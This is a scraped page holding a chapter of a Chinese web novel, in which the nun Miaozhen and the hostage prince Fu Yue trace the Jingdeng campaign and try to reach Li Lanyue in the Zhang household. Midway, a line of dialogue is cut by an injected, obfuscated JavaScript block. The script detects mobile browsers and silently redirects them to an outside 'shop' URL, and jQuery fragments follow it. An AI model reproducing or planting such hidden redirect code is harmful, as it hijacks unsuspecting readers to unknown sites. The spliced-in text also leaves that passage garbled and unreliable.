默认冷灰
24号文字
方正启体

10. 钟离

作者:花花树树本书字数:K更新时间:
    未时一刻,符约方才开始用膳,他吃起东西来可谓是慢条斯理十分讲究,青石桌上碗盏餐盘足有十几个,菜码都是精致非常,糕点瓜果也一应俱全,就连一碗鱼肉汤羹都有葱叶豆花的绿白点缀。


    这副光景可真是赏心悦目,若不是妙真已经坐在对面看他吃了三刻钟,应该当下会如此觉得。


    妙真自认是个耐心极好的人,经年在益州时,拿有玄慈经文的比丘尼不肯见她,她愣是日日在门前求了十日。而今妙真心下却有些焦躁窝火,薛怀拙给她寻来李氏讯息信件上,沾染了符约的气息,自己闻香识人,知晓他定然私拆看过,眼下符约慢条斯理地用膳落在自己眼中,像是在挑衅她。


    又过了一刻,符约方才吃完,他身边的侍从给他递来漱口的盂盆和擦拭的绢帕,妙真打眼看向那个侍从,眉目浩然,面庞似玉,只是在符约身旁逊色些,却也委实是好看。


    妙真觉得眼熟的紧,思索片刻恍然想起这就是那日鸭馆的黑帽小童,只不过要比那日严肃冷淡许多,想到这妙真心中冷笑,果真有其主必有其仆。


    又妥善整理片刻,符约方才开口:“妙真师傅,怎得来如此早。”


    “世子既说同舟而行,又何必用这等方式探知?”


    “薛公子虽用心,却囿于京官身份,我担心妙真师傅想了解的不够全面,幸好信上的内容也很全面,也属实。”符约笑笑,没有半分被拆穿的赧然。


    临了又补充了句:“既然同舟而行,妙真师傅想了解的可以直接问我。”


    “同舟而行,起码要坦诚相见,世子究竟有多少线索?”


    符约失笑,也不再言其他,他声色如泉轻柔低缓,娓娓道来。“隆兴元年永林王即位。永林王乃开国武帝之孙,被寄予厚望,奈何继位时实在年幼,心智不熟,四方藩王各怀异心蠢蠢欲动。”


    “当年大齐境内战火频发,鄱阳、随郡、庐陵三宗室藩王联手北魏游骑、柔然高车部落起兵反叛,战线从长水蔓延到西南,最终直至钟离边境。”


    “钟离之战?”妙真开口问,钟离之战声势浩大,当时途径周边,只见吏治崩摧、百姓流离,尸填沟壑,惨烈之状令她印象深刻。后来她一路修行,也听过平息后的百姓骂声,说此战大败归结根由,是那深得器重、镇守一方的都域侯将军叛逃,造成数以万计的损伤。


    “正是。”符约点头,继续道:“此战惨烈非常,永林王年幼,无御敌之策,也无旷世之武,便只能以为将士祈福为由,发动‘净灯行’。”


    “净灯行对外称之清净吏治、荡涤污浊,期间广设灯坛,遍请僧道诵经祈福。实则建康周边各州各县奉旨督办净灯行,士农工商皆要按户出银,捐钱造灯,又大兴修建灯坛祠宇,征调民夫数万。”


    “灯坛所燃之灯,需用名贵油脂、锦绣灯幔,千万火烛日夜不熄,恍若无尽之灯,耗费的银钱粮草更是不尽其数。”


    妙真微微错愕,净灯行居然是隆兴年间发起的,而且失败之因也在符约的讲诉下显而易见,朝廷一旦开口,势必上行下效,会有多少官吏再次期间层层盘剥、中饱私囊,那能送往前线的粮草,还能剩下多少?


    符约语气未变,依旧循序而谈:“同年钟离之战惨败,此战令齐精锐折损大半、元气大伤,朝堂上对永林王年幼无知、得不配位的讨声愈烈,永林王叔父萧栾借势逼宫上位,改为建武元年。”


    “净灯行止于建武二年初,萧栾亲率大军奔赴钟离之后,深知此弊政已动摇国本,遂下旨急止净灯行。净灯行中官者中庸发聩,为民者苦不堪言,委实劳民伤财。当时参与净灯行的宗室、官员全部问责。”


    妙真半晌未语,‘净灯行’的起,是帝王无能的粉饰太平;而其落,是权臣夺权的止损之策。那净蘅寺呢?又在期间扮演什么角色?面前的符约神色温润如常。她开口询问:“这就是净灯行的真相吗?”


    符约面中带笑,字字沉实:“这是我能看到的真相。”


    这只是他能看到的真相,符约乃北魏世子,不处于权臣王侯的权力中心,为了制衡北魏,他会长久地留在京中,无关乎净灯行。妙真突然联想到江恪的夸夸其谈,对其不遗余力的赞叹。


    “这一切与净蘅寺有何关系?”


    符约摇头:“我并不知晓,昔年我友人在净蘅寺借住,之后便与我失去了联系。”


    “这几年间,世子也没找到线索吗?”妙真狐疑,此人颇有手段,四年间不该一无所获。


    “当时我在去寻我友人的路上受了伤,这几年间我均在养伤。”符约坦诚。


    “很严重的伤?”


    “还好,只是我天生体弱,久病难愈,需要修养。”


    妙真闻此点点头,不打算刨根问底,初到建康时就曾听闻薛府的人说过这位质子体弱多病,倒也可以理解。


    “少府中尚方令你可认得?”


    “张奏,其独子张镜竹几年前任职于太子詹事府,前程大好。”符约随即作答。


    妙真琢磨道:“皎然的姐姐李兰月前几年嫁给了他,你可有什么消息?”


    “年初时我与张镜竹在席间有一面之缘,后来传闻他夫人生病,他昼夜照顾衣不解带,还特此告假于家中,再无缘相见了。”符约微顿,似在等妙真消化信息,又继续道:“你能否将李兰月从张家带出来?”


    “为何?”妙真虽觉得李兰月说不定会知晓些净蘅寺的消息,却觉得不必将其带出张府。


    “我答应过皎然。”


    妙真抬眸,问道:“这事你做不到吗?”


    符约神色无辜:“我一男子,诸多不便。”说罢也不等妙真回复,从袖中拿出一块狸形木牌,狸猫眼中嵌着一块温润瓷白的玉石,其身上毛发刻画寥寥,却看着生龙活虎,栩栩如生。


    妙真接过这木牌翻过,见到背面右下刻着小小的‘月’字,她心下微动,这是皎然的手艺。皎然喜好雕琢,送给她的器物摆满方桌,她爱不释手屡屡拿起来把玩,她绝不会错认。


    “这是皎然为姐姐所做,有了它李兰月


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568731|204854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便会见你。”符约眸色如水,循序善诱:“这是理清净蘅寺真相的第一步。”


    ……


    “我们家大人说了,不见!”张家门头仆从口水横飞,十分不耐烦,自家大人从一个督运使一路升迁任职少府,眼瞅着平步青云,怎么什么阿猫阿狗的都往上凑。


    妙真还没作声,身旁的薛小满先大步向前,一脚踹在那仆从的小腿上,门前仆从虽不羸弱,却也没没防住这突如其来的一脚,当即哎呦着坐倒在地。


    小满今日看妙真出门,一问才知是要去张府寻故友,说什么也要跟过来。妙真现在回不去净蘅寺够可怜了,不想故友寻起来竟然还受到百般阻挠!


    想到这薛小满火气蹭一下起来,上前一步瞪着他:“张家的人怎得如此不懂规矩!我们持李娘子的信物来探,不过是亲友间的寻常往来,张府便是这般待客的?”


    而后又洋洋洒洒骂了几段,把门头仆从骂的面红耳赤,毫无反口之处。


    骂到浓时,从门后钻出一个婆子,面容看着很是和善,连忙上前拉住妙真小满二人,苦口婆心劝道:“二位小娘子息怒,实在是我家娘子她病重不宜见客啊。”


    “娘子病重,需日夜服药,可你身上无药气。我们来此多时,未见通报后有内院人出来回话。是你家娘子病得连信物都认不得了?还是张府不愿让我们见。”妙真冷声质问。


    婆子噎住片刻,连忙道:“您说笑呢,我家娘子在内院,我一个粗使婆子,实在怕进去再惊到娘子啊。”


    “我们是李娘子娘家人,娘子生病不宜见,怎得你家大人也不见?江夏李家都入不得他眼了?”小满趁机应和。


    “我家娘子病重,前些日子公子伤心欲绝也病倒了,我家大人日夜守着他们,实在是劳心劳力,心力憔悴,今日实在撑不下去刚刚卧榻休息,不是不想见二位亲戚,实在是现下不宜见客啊。”婆子愁眉苦脸,连连致歉。


    围观的人慢慢增多,可张家婆子丝毫没有退让的意思,反而摆着一副有口难言、有苦难说的架势,小满还想说些什么,妙真拦住她,回道:“既如此,我们就改日再来。”


    回去的路上,小满把张家问候了遍,又借着话头类比到了自家,只说薛怀拙要是有这么一天,她一定千里家书寄回义阳,请父亲来家法伺候云云,说着说着小满眼睛一亮:“妙真,让薛怀拙写一封拜帖怎么样?”


    妙真摇摇头:“拒绝一个拜帖可有无数种理由,何况张家本就抗拒我们见李娘子,这事确实奇怪。”


    符约恐怕早就想到了会有这一出,诓骗她来此,她就定然会因为这些不对劲继续追查下去。


    “这京中的官情真是复杂透顶,说真的,我有些佩服薛怀拙了。”小满幽幽感叹,“张府进不去,我们该怎么办?”


    “世上没有密不透风的墙,一定有突破口。”妙真暗暗思量片刻,悄声对小满说:“薛姑娘,我可能要麻烦你些事。”


    小满一愣,却很快露出笑容:“你直接说就是!谈何麻烦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)